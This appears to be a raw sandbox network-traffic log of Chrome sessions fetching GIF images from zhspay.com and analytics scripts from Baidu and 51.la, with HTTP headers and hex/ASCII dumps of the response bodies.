15	192.168.2.5	49743	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:39 UTC	612	OUT	GET /zhuye/img/jinsha999.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: image/gif Content-Length: 138124 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-21b8c" Accept-Ranges: bytes
2024-09-27 03:50:39 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 2c 01 e6 5c 00 a3 a1 94 fd fc fa a0 8e 66 f1 d7 ce fc d4 29 e6 13 12 63 60 53 f1 5d 18 fc fa b6 54 4a 33 30 2d 28 60 1d 18 02 95 cf eb ca bc da b6 ab d1 a9 96 ed ca 71 fc ea da f8 eb 9b f7 64 54 f0 b7 29 f0 d9 89 c7 a6 4b 8d 49 2e ed b8 b0 e7 bd 63 cb 98 8b ae 6c 4f 8a 2d 1b b1 8a 26 db cd b2 c6 8c 76 2c 2b 44 d2 96 23 ee b8 11 d4 cf d1 d0 cc 95 b6 78 67 a1 d8 ef 91 70 4a fe f0 40 fa d7 4b fe f1 71 cd 8a 10 e6 ba 57 c8 b2 73 da a9 29 b3 6f 0e 18 48 57 8f 44 06 19 54 1b 0a 04 0a 48 1e 48 27 18 2c 18 2a 32 ad 6a 2b e9 b5 91 dc ac 0f a3 54 30 82 73 35 fc 8d 47 d0 ed f7 96 59 42 f6 8d 8c 09 5e 85 83 7a 73 c2 95 4e 43 b2 df c8 c0 c9 b5 7f 80 37 2b 1a a4 57 04 ab 5a 46 31 15 16 dc dc e4 e7 97 11 90 6d 13 17 12 20 f3 8b 2b 85 8d 8e b9 bf Data Ascii: GIF89a,\f)c`S]TJ30-(`qdT)KI.clO-&v,+D#xgpJ@KqWs)oHWDTHH',*2j+T0s5GYB^zsNC7+WZF1m +
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 6a 91 7b da 9b f0 f8 9d f3 58 ff 39 80 7a 9f 73 ea 8e 41 60 9e e5 a0 7b 7d 55 03 0f f0 8e a6 ca 11 89 5a a7 1c 31 a7 b0 09 a9 8f 24 a0 f3 88 3b d7 77 7d 02 4a a6 53 90 ab 66 23 0e 2d e0 9d f1 10 aa a4 a9 0e cd 79 6b d6 67 38 be 99 ac c1 fa a9 e2 50 93 af b7 ac de e7 8e db c6 93 0f 87 a0 fa 18 95 7e 1a 89 6e c4 93 da 68 00 1a 20 00 b6 a1 0c f2 67 1b 1f 9a a4 29 aa 67 0d f4 73 2b 2a 26 39 13 26 2f 73 03 95 d0 40 8b f1 1a 48 20 41 9e 40 04 48 a7 a3 ff 44 75 2e 64 97 9e f1 68 93 61 26 42 13 97 bc f0 27 1f f0 00 e3 e5 0c 5f 47 25 88 60 36 84 00 00 49 a2 04 d1 48 04 8f 09 03 23 25 99 9c d8 5a d6 78 8d 97 89 99 61 aa 6a 69 da 99 9e 99 a9 f0 78 ac 69 3a 05 a9 99 a9 d2 66 a9 78 aa 0e a3 49 a7 f0 00 9e 6b fa b2 0f e1 9b 65 ba 05 3b 30 a8 03 b2 b2 f0 48 16 81 7a 9a Data Ascii: j{X9zsA`{}UZ1$;w}JSf#-ykg8P~nh g)gs+*&9&/s@H A@HDu.dha&B'_G%`6IH#%Zxajixi:fxIke;0Hz
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: d8 6e 8c 40 42 36 c9 09 e3 39 ff 20 9d 60 9e c9 47 9e 13 e6 08 09 d4 6f 2c 10 95 fd f6 61 a4 88 53 a4 e2 29 ef d0 43 35 62 54 63 09 29 64 b2 70 37 10 96 53 a1 81 a5 43 09 0e 60 14 28 78 14 51 a7 39 9c 29 64 6e d9 96 0f 1a 80 09 e1 99 1e b7 27 26 48 14 82 72 48 15 97 12 45 e0 03 1f 20 00 12 67 75 3e 60 04 2b 11 04 01 c0 25 9b 61 47 0e f0 95 65 d2 98 1a 48 0e 8b 99 26 f7 c0 81 1c 60 12 df 78 36 14 ea 63 f4 67 25 57 d0 00 98 54 0f b1 68 9a 86 d2 39 7a e6 75 3a 14 04 5a 22 00 66 77 76 69 e1 8f 72 b1 4a bd 99 17 49 50 90 51 5a a5 7d d1 90 21 79 91 c6 49 9d c8 b9 9c d5 19 85 5c 1a 92 58 5a 9c 99 27 9c d3 59 5d bb a6 0c e8 d4 9d 6c da a6 6e 3a 93 a7 20 9e a1 d0 9e 25 05 9e 72 4a 9e 77 1a 9e a1 90 00 cc 60 01 f0 39 9f f3 59 9f f6 a9 15 e0 47 0f 43 74 a8 50 14 15 Data Ascii: n@B69 `Go,aS)C5bTc)dp7SC`(xQ9)dn'&HrHE gu>`+%aGeH&`x6cg%WTh9zu:Z"fwvirJIPQZ}!yI\XZ'Y]ln: %rJw`9YGCtP
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 27 01 1d a9 73 03 60 7d 09 25 ff 73 81 18 49 04 39 93 34 39 90 ac e8 8f e7 a1 00 4f a0 2a 0f e4 64 ac 32 15 4b a5 74 15 f2 4a 1a 92 7f 64 21 4b 41 40 6d 0a 11 04 6f a3 55 64 e1 42 b4 c8 6d b6 28 95 5e 87 66 b9 c8 57 30 e4 67 e7 22 8c b2 30 76 13 a8 2c 18 c8 57 79 46 39 66 a5 6d 23 a2 6d 6e c1 8c 79 56 60 78 77 68 a1 24 01 f3 b0 58 fd 86 59 13 46 0f cb a0 2f d9 50 78 67 22 3b 6b c4 78 b5 83 3b c5 10 0f bd 23 1d 10 25 47 c2 33 31 28 a0 02 c7 93 3c 15 27 03 50 c4 3c 33 16 10 f5 28 75 07 91 89 89 e4 51 26 41 39 4d c8 63 38 59 6b 4d b0 03 07 19 9a 05 19 89 a4 29 9a 05 79 90 91 38 49 17 b9 9a ec b3 90 18 69 7d 31 19 3e 17 09 7e ec 43 91 62 88 91 66 88 3e 0f 49 92 10 90 87 b7 e9 92 ec 63 73 0a c5 72 15 40 9c c6 39 9c 84 98 3e bc d7 7d 34 97 9b 8d 24 5a 86 d8 91 Data Ascii: 's`}%sI949O*d2KtJd!KA@moUdBm(^fW0g"0v,WyF9fm#mnyV`xwh$XYF/Pxg";kx;#%G31(<'P<3(uQ&A9Mc8YkM)y8Ii}1>~Cbf>Icsr@9>}4$Z
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 37 43 5f 95 85 d9 e6 53 79 d4 ff 7b 42 d3 7b d5 67 1a 81 77 1a 14 d3 31 b4 b1 00 d9 86 1e 57 d4 23 57 70 7a 54 64 0d 96 74 47 76 24 5c 96 37 79 9b 07 32 88 08 6c 81 96 30 93 18 45 c8 46 15 97 c4 1d 66 15 05 c9 d1 89 6a a5 56 a6 96 56 8a 85 20 89 94 22 ff f1 40 aa 88 7b d4 d1 68 5b e4 5e 34 92 35 37 b2 6a 8a 34 45 52 f1 6b 09 93 1b d8 11 49 d5 67 8a 41 30 49 8e 95 5e 55 74 45 7a 66 00 ac c4 22 c5 84 20 f1 11 0a c8 a1 20 91 61 19 35 e2 7a 75 68 85 3e 25 5e e2 a7 01 00 f0 00 9b 30 4b 9a b3 38 e6 67 08 53 92 4b 96 30 39 ee 97 6e 97 60 08 5f d4 1c 4a 90 8e ca 81 6b 38 c2 25 ad a0 2d fc 96 3a 61 b2 20 8c 05 70 05 68 70 4d 30 5f 03 67 70 6d b4 58 f8 05 27 d3 d0 70 0f 87 12 38 36 81 2a 78 72 b5 72 81 1a a8 71 bb a2 28 31 60 05 db 60 05 c8 33 0f be d2 0d 24 75 29 Data Ascii: 7C_Sy{B{gw1W#WpzTdtGv$\7y2l0EFfjVV "@{h[^457j4ERkIgA0I^UtEzf" a5zuh>%^0K8gSK09n`_Jk8%-:a phpM0_gpmX'p86*xrrq(1``3$u)
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 1f 80 0a 13 10 b2 69 dd 9a 98 e5 03 5f 9a c5 4e 47 4b 88 e5 ec 53 5d 22 1e 72 d5 ee 6b 0b b2 ac 0b 99 c0 c4 ae bc 4b 16 92 7c 8f b2 00 1b a0 3e ee 35 c6 65 89 ae 45 7c 89 05 89 7d da e7 00 46 05 b5 c0 40 0c b9 fb c1 82 0e cd 5c 82 8e cf 50 71 87 18 9d ef 97 23 8b 0d 5c 81 6e af 2d dd e8 2d 01 05 a2 8e 00 3c 71 e9 32 71 c2 a7 e3 0b 06 f0 66 24 e0 f0 12 50 ff f0 1e f0 f0 b4 2a ea 12 e0 f0 18 cf 0b 06 50 f0 9e ae 0b 24 c0 f1 20 8f 00 50 c0 ef 29 0c 80 0a 20 52 b9 5e 5a 85 71 eb ec 53 6d 9a 2c 37 85 7b da 03 00 46 24 60 8e 1c 70 d1 89 6b 60 21 f8 18 74 93 37 c4 e4 7b 27 e5 ec 49 bc 52 29 8b 53 64 b4 0b 94 90 38 5e e4 08 66 de da c3 d4 29 87 b1 4b 50 0e ee 47 cb db 90 11 9c 3a a0 ec 97 08 5a 07 99 47 24 d0 d3 ee 3e 36 e7 14 ef cb fd ef f3 2e 63 9f 6e 0b 76 d9 Data Ascii: i_NGKS]"rkK\|>5eE\|}F@\Pq#\n--<q2qf$P*P$ P) R^ZqSm,7{F$`pk`!t7{'IR)Sd8^f)KPG:ZG$>6.cnv
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 11 00 00 6c 42 0c 37 70 01 59 6c 56 dd 19 13 9f 70 1d a1 1a 04 9c d0 4d 64 9c 91 66 8c c6 2b f2 d4 54 4d 15 6d ac da 21 ae ac 72 ec 15 da f5 15 72 6d 09 7a 7b e2 28 2e 6a 40 29 16 8d e7 b9 79 e7 c7 98 96 87 80 18 d6 58 ad 69 3c ce e3 03 b0 e2 11 60 c9 96 ec e3 6a b8 15 99 f6 86 fc b4 86 ff d4 d7 66 71 43 99 30 ca ba fc 43 ca e5 89 79 31 bd 59 69 09 ae 97 ff 17 ed 25 05 8e cd 05 26 00 a3 25 5a 95 b4 e7 e5 55 e9 7a 40 34 d8 d5 46 a3 98 00 25 2f a5 85 a0 3d be 95 60 60 43 9a 60 6c f9 4e c7 9c a3 c6 3c 8a 95 b0 96 b7 08 0a 3a 80 61 91 90 01 0d 40 a5 80 c9 25 3a 65 7e 88 ce 03 e6 f7 03 5a fa 7d 3c f0 03 89 2e 47 78 94 7e 2d a6 31 66 ea 71 77 ea c0 63 f5 7f 05 08 dc 0a 8c a7 cb 3d 99 fb e7 20 3d 76 c1 96 74 ea 25 21 c4 b1 b1 ea b2 41 c4 02 42 c4 45 b0 1f 49 20 Data Ascii: lB7pYlVpMdf+TMm!rrmz{(.j@)yXi<`jfqC0Cy1Yi%&%ZUz@4F%/=``C`lN<:a@%:e~Z}<.Gx~-1fqwc= =vt%!ABEI
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: e6 9c 5e c7 0a 00 5c 74 1b 92 6a 67 6b 9c 31 8a cb b8 e1 41 21 d9 21 1d 9c 19 9a a0 3a aa a5 5c ca a2 3c 8c d0 51 04 5b d0 c7 c0 d0 33 06 02 ba d6 03 ab 88 a0 5a 6a 64 79 a4 41 0e 84 e5 7f 20 60 1a bb 40 0a 02 30 05 08 b0 97 72 34 1f ec 88 03 1b 05 02 bd 79 54 9e 10 7b 9c ec 88 9f 8c 77 79 e4 ac c5 18 1d 9f 0c 5b be a9 c9 24 20 47 87 17 09 be 49 9e dc 69 ff cb c7 22 0a b3 21 02 04 c0 cb eb 29 02 5e 92 02 aa 0d 0d c7 1c 09 f8 3c 0c 28 30 24 fe d9 24 24 24 cd 61 ab be ed dc 0c 46 80 b0 db cc 7e 48 bd b0 df fc 0c 06 29 4d 07 4d ce bb 3d d5 cc c0 6f 0e 69 3b bb fd a1 d4 90 4d 22 eb 4d e0 36 cf f0 a0 80 35 4a 60 0d f1 02 0c cc c0 0e 9c b2 13 18 b5 bc e3 3c d3 20 b2 f6 47 c0 6d fb 25 bf 12 2a 61 3c 14 22 21 0c 37 31 2e 44 e6 14 39 e6 17 b7 12 a4 95 72 22 61 e1 Data Ascii: ^\tjgk1A!!:\<Q[3ZjdyA `@0r4yT{wy[$ GIi"!)^<(0$$$$aF~H)MM=oi;M"M65J`< Gm%*a<"!71.D9r"a
2024-09-27 03:50:39 UTC	7283	IN	Data Raw: ee e3 98 d8 f1 c0 79 21 2f 91 e6 b0 3c bc 08 3b 10 aa a6 ec 14 44 91 b9 9a bb 1e ac c3 86 2d 16 7a 70 c4 05 47 1c 18 0f b5 72 a5 4b 8a 83 f6 c2 ac 91 02 ec 15 01 1a 29 92 8f 5c 7a 33 6b 4f 9d 30 bb 92 d0 04 c6 9c bb 3a fb c3 93 10 ac 42 5c 08 b5 92 05 08 03 74 3a ba 49 39 e6 16 1d c1 01 48 10 8c 50 4c a4 05 00 0c 1b 98 91 c8 ea 0b 38 b0 3c 6b d2 31 cd 39 ff 0e be 05 00 13 fa 5a d8 13 0a 60 64 10 57 69 c6 e5 51 6d 5b 99 09 5b 96 cf b4 a1 65 aa ca 3e d2 c5 b6 42 95 ae 27 81 86 77 dc 15 6f c3 96 6f 08 20 7f 69 40 14 02 68 95 70 20 2f e0 c7 65 c1 6f 88 7c af 48 f1 12 2e 20 b7 79 37 20 14 e0 02 68 63 40 13 c4 14 62 63 87 75 c6 78 a6 d2 15 ec 69 54 cb 52 92 17 11 b9 92 7b 11 d3 2a 04 53 35 d3 12 90 02 39 c0 04 1b ec 0c a5 81 25 0b d5 b9 04 a5 a1 a9 75 c4 a8 70 Data Ascii: y!/<;D-zpGrK)\z3kO0:B\t:I9HPL8<k19Z`dWiQm[[e>B'woo i@hp /eo\|H. y7 hc@bcuxiTR{*S59%up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49735	183.240.98.228	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:39 UTC	374	OUT	GET /hm.js?2f4a9eb3b313afbfc53ecee34428d6f2 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	194	IN	HTTP/1.1 200 OK Content-Length: 0 Date: Fri, 27 Sep 2024 03:50:39 GMT Server: apache Strict-Transport-Security: max-age=172800 Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49750	148.153.240.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:39 UTC	523	OUT	GET /20655415.js HTTP/1.1 Host: js.users.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.zhspay.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	529	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Cache-Control: no-store Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE2[161],EU-GER-frankfurt-EDGE7-CACHE2[ovl,157],EU-GER-frankfurt-EDGE5-CACHE2[ovl,156],CHN-HElangfang-GLOBAL6-CACHE139[ovl,19] X-CCDN-REQ-ID-46B1: 75c65aafe9e6220f9aea94196c19a521
2024-09-27 03:50:40 UTC	4911	IN	Data Raw: 31 33 32 32 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 7b 69 74 76 3a 20 31 38 30 30 30 30 30 2c 75 72 6c 31 3a 27 2f 2f 69 61 2e 35 31 2e 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 36 35 35 34 31 35 27 2c 65 6b 63 3a 27 27 7d 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 72 29 7b 69 66 28 6e 5b 72 5d 29 72 65 74 75 72 6e 20 6e 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 6e 5b 72 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 72 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 74 29 2c 6f 2e 6c 6f 61 64 65 64 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 6e 3d 7b 7d 3b 72 Data Ascii: 1322(function(){var config = {itv: 1800000,url1:'//ia.51.la/go1?id=20655415',ekc:''};!function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return e[r].call(o.exports,o,o.exports,t),o.loaded=!0,o.exports}var n={};r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49749	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:39 UTC	611	OUT	GET /zhuye/img/wnsr2021.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	230	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 74577 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-12351" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16154	IN	Data Raw: 47 49 46 38 39 61 e8 03 c8 00 f7 cb 00 b6 93 20 f0 66 58 fc b5 09 72 48 17 ff f8 8c fe d5 09 b4 a0 a1 f3 b8 ab 44 00 00 f8 d9 6d f7 b6 29 cf 8f 0b ff f1 30 ff ff ff d7 b3 50 fe 33 34 2b 99 ed fe f3 da b4 04 02 50 24 07 ff 53 00 8f 4f 0b b1 6f 0b ea 36 47 6b 32 08 fa 92 02 d4 6f 08 68 4f b3 ee 22 00 d8 b0 29 d3 92 2a d7 b2 0d fb d9 da fe f7 b1 07 00 01 d5 2b 07 db d5 d5 61 27 4f 8d 4f 26 f4 51 31 b3 6e 27 fe 99 44 8b 6c 29 f8 72 03 b5 70 4d dd 11 00 ff ff 55 f5 b5 47 fa d8 90 d0 96 47 fb d2 b6 f3 90 27 b5 91 4a d8 b5 6c 89 6b 70 93 93 48 4e 27 23 ff ee 66 8f 27 2f 94 69 0c d5 2d 2e ff ff 00 d8 49 32 95 4a 46 db cf 6a da 4d 09 fe 7e 6a d2 74 26 6a 36 2b d7 91 71 b6 26 0a cd b6 ba b2 2c 28 70 51 4f af 52 04 b5 ac 48 af 4f 27 b2 4b 47 fd 97 8e d1 b4 93 ff ff Data Ascii: GIF89a fXrHDm)0P34+P$SOo6Gk2ohO")*+a'OO&Q1n'Dl)rpMUGG'JlkpHN'#f'/i-.I2JFjM~jt&j6+q&,(pQORHO'KG
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 71 1a 28 85 0e 43 4f 40 80 4e cc 84 ba b1 9b 82 02 01 14 64 a9 96 2a 46 1b 74 a9 97 b6 c1 18 98 dd 93 ae e2 95 54 66 24 70 64 16 c0 88 65 92 e8 13 88 00 8f ba 29 01 8c 28 06 7c 80 06 f8 01 10 e8 e8 6d f2 26 90 e6 41 07 5c 09 11 e0 c0 8d 7a 40 6f 1a 26 0e 9c 01 9c 19 6a 07 f4 27 e2 d8 e7 8c ee 00 79 ce a7 05 a8 5e a5 b1 a3 02 cc 5e db ed 1d 93 ae 54 a6 36 e9 84 a6 63 4f f8 1c 24 cc 4a 4e ec 1c a0 6c e9 83 7c e9 43 a6 aa 14 ac 2a 17 00 40 70 ce a0 2a 40 e1 98 d6 9c 12 94 e4 11 f5 a5 bc 65 41 49 d2 24 00 d6 a4 08 58 00 1c b4 a9 24 54 98 05 14 e6 61 fa 85 03 46 02 62 de 66 8f ea e9 7b d6 a6 5c f6 1e 7d ba e5 a1 d2 27 57 74 00 65 31 5c 94 54 6a de b1 59 50 ca 1f b8 ce 1f 81 76 2a 30 46 e9 94 8a aa ac 40 c0 2f 2a 59 fe 98 2a aa be 2b bc aa 2a ab da 1e dc 61 ff Data Ascii: q(CO@NdFtTf$pde)(\|m&A\z@o&j'y^^T6cO$JNl\|C@p@eAI$X$TaFbf{\}'Wte1\TjYPv0F@/Y+*a
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 1c 8d 1c 41 6b cd 84 30 c9 7e 42 c1 13 11 61 42 00 89 34 01 ce a6 bc 4d 70 cd ce 29 ab d3 1c 0c 00 37 9d d7 3d 00 00 a5 3c 00 2a a0 02 00 10 d8 a2 c0 d7 db 7b 7d 68 20 57 a0 91 ca eb 45 cb b6 96 97 c3 8a 2e 67 27 a8 7a 19 ba d0 59 a2 bd b2 a2 75 29 54 7e 43 37 90 2a 39 40 76 cc 5a 1d c8 85 1c bc d3 53 c0 60 6d bc 08 11 91 bb 5a d6 78 52 c9 13 dc 95 53 a1 5a 45 e1 d2 a3 3c c6 76 0d 4d 5c 6c d7 1b 6c d3 7a 6d 05 7f 1d d8 34 2d 0a bc dd db 79 4d d8 dc 3b 10 b0 70 2e 22 a8 93 b7 47 b6 87 2a 76 8e 3d 0d 0d b7 b9 c5 05 cb 5d ab 80 db 60 07 f1 eb 97 81 19 d0 bb ff 5c 35 76 d1 b6 6c f3 d9 bc 1b da fd 3b da 3c 79 da 0f 95 10 aa f0 40 1d 1d b4 54 6c 26 2e 20 b4 02 3c 10 94 07 1a db 8c 11 e8 c9 d2 07 31 d7 3b 5d 10 fe 8d 03 82 2d dc eb dc c1 2d ad db 7e 0d d8 34 4d Data Ascii: Ak0~BaB4Mp)7=<{}h WE.g'zYu)T~C79@vZS`mZxRSZE<vM\llzm4-yM;p."G*v=]`\5vl;<y@Tl&. <1;]--~4M
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 25 00 c3 27 98 d8 47 56 26 14 3d 61 48 4c f9 b5 63 6a ae cf a4 95 73 5a b7 93 20 93 66 52 09 1c c0 a7 b9 80 24 84 0a 78 f7 00 a8 7e 33 72 8f 5a 24 74 95 5d 1c ad 80 d6 65 09 7a ce 9e 73 52 e7 a0 d5 75 96 d9 53 8b 60 07 65 17 05 63 80 be 98 d1 37 72 68 2a 59 88 aa 30 01 98 50 85 ac a3 d0 bc c3 ea a9 8c ce 7a 9b 8d bc b1 75 6b b3 f7 ad 63 83 fc 2a 45 ae ee 1b 9c e4 fa b6 4d d1 26 16 8c 21 fa 8d ef 5a cb 60 03 8f 0d 2d 0d d3 e4 ef 21 01 9b 60 0d d4 01 e7 af b4 07 8a 8d 0b b1 01 2b dc 01 5b 6c 52 03 15 d2 94 06 73 19 9a c5 de 53 d3 1e 74 e2 ee 55 0e 63 e2 04 ff 0c e1 01 0c 81 b3 15 20 a7 1f f9 04 30 9b b2 10 b4 c1 2f 79 ae 77 86 65 4a f7 2b 4e 17 b6 79 82 62 6e 20 66 bf 82 06 fa 82 94 fb bb 32 70 5a b7 8f 9c 9d 8d 06 95 e7 20 0f 62 91 a4 a6 66 f5 88 fb 25 8f Data Ascii: %'GV&=aHLcjsZ fR$x~3rZ$t]ezsRuS`ec7rhY0PzukcEM&!Z`-!`+[lRsStUc 0/yweJ+Nybn f2pZ bf%
2024-09-27 03:50:40 UTC	9271	IN	Data Raw: 85 54 25 38 b2 84 53 5a 50 05 e9 52 4f 48 31 03 13 0d 3c ea d4 d6 56 52 71 93 94 8f de 34 59 c3 14 2c 54 79 a5 95 59 4e c1 23 52 2b 59 75 15 51 53 60 15 ff 25 54 e3 f5 d1 c7 91 31 35 51 43 4f 0e 78 a5 23 9c 71 ba 44 c2 60 bd d5 a6 1b 9e 79 ea 79 9a 0c 7b 7e d6 c8 72 c6 a9 66 dd 9d 98 35 e7 12 67 7e 09 a1 5b 76 85 c2 25 4d 4c b9 45 a6 5c 03 8d 5d d7 67 5c 96 f6 15 68 5c d6 d0 39 98 0c 81 11 76 a8 a4 78 1e b0 85 10 a9 a6 ba c5 01 b1 09 b7 53 71 a6 a2 aa 2a ab d2 11 06 4d 55 a0 42 b7 e9 62 bc 11 da 28 b0 8b ca b6 53 86 13 c1 18 1e 7b e4 29 9b 80 40 2b 3a eb ac 82 08 fd 67 62 b3 cf 96 e8 1f 4c dd d1 c7 a0 89 dd 7a eb 92 b6 de 56 33 e1 37 e5 7e f3 cc 85 0b 0d 31 43 0a 1d a4 30 84 87 e2 ca 2b 22 89 f3 32 a4 62 8a cf 62 f4 22 bf 33 fa 6b 63 49 0b c8 39 70 59 3c Data Ascii: T%8SZPROH1<VRq4Y,TyYN#R+YuQS`%T15QCOx#qD`yy{~rf5g~[v%MLE\]g\h\9vxSq*MUBb(S{)@+:gbLzV37~1C0+"2bb"3kcI9pY<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49748	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:39 UTC	610	OUT	GET /zhuye/img/xpj2021.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	230	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 88320 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-15900" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16154	IN	Data Raw: 47 49 46 38 39 61 e8 03 c8 00 f7 d9 00 ff f9 72 fe ca 96 f7 af d0 0b 06 05 ae 89 29 33 23 11 f5 b5 90 f4 b6 6d cc 98 48 b2 b2 b2 a8 0c 5a fe f4 b0 27 2e 4c fe d8 eb ff e9 ca fe f9 8d a1 0e 16 02 0d ff d7 a9 52 53 4a 28 ec b2 58 ee 8b b6 ce 07 73 ff d9 ba b8 8d 43 29 15 2d fe f2 00 ec ec ec 98 9d ff 8e 8c 8c 1a 46 53 71 6e 6e 54 4a 4c 45 27 14 4c 45 14 53 36 58 ce 92 34 6c 4a 2d da da db 5a 62 f9 23 16 13 15 34 4a d2 8d 6c f3 d1 4d ff c8 64 fe d5 01 20 12 09 c7 c7 c8 eb 78 a9 00 5b 0d 46 33 16 35 26 22 b3 6e 4b fe dd 67 12 27 2d 44 16 25 45 28 23 d4 8f ae 49 0f 10 a9 7b 30 31 14 48 ff d7 a7 fa c9 df 45 25 55 90 71 33 35 15 15 47 33 25 6a 54 4f 92 72 48 7a 81 ff d2 ab b6 cd ce ff 46 38 35 db 68 9a ff ed f7 d3 1a 82 42 25 48 d6 b6 63 af 71 87 a9 6f 0b 9b 65 Data Ascii: GIF89ar)3#mHZ'.LRSJ(XsC)-FSqnnTJLE'LES6X4lJ-Zb#4JlMd x[F35&"nKg'-D%E(#I{01HE%Uq35G3%jTOrHzF85hB%Hcqoe
